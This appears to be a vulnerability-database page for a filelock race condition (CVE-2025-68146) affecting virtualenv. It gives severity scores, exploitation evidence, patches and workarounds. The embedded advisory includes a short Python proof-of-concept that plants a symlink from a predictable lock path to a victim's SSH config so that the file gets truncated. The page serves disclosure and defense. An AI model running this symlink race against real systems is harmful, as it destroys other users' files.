VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2025-68146: Virtualenv · filelock has a TOCTOU race condition which allows symlink attacks during lock file creation

Affects virtualenvSource GCVE Database

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Authoritative record:CVE-2025-68146· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium : upgrade to 20.35.4_1 when convenient.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

6.3Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.1% chance of exploitation in 30 days – higher than 9% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 20.35.4_1

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Attack Vector: Local
Attack Complexity: High
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 16 Dec 2025
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade virtualenv to 20.35.4_1.

Affected software

Product	Affected	Fixed in
Homebrewvirtualenv`pkg:brew/virtualenv`Other threats	Affected >=20.4.3 <20.35.4_1	Fixed in 20.35.4_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix sys

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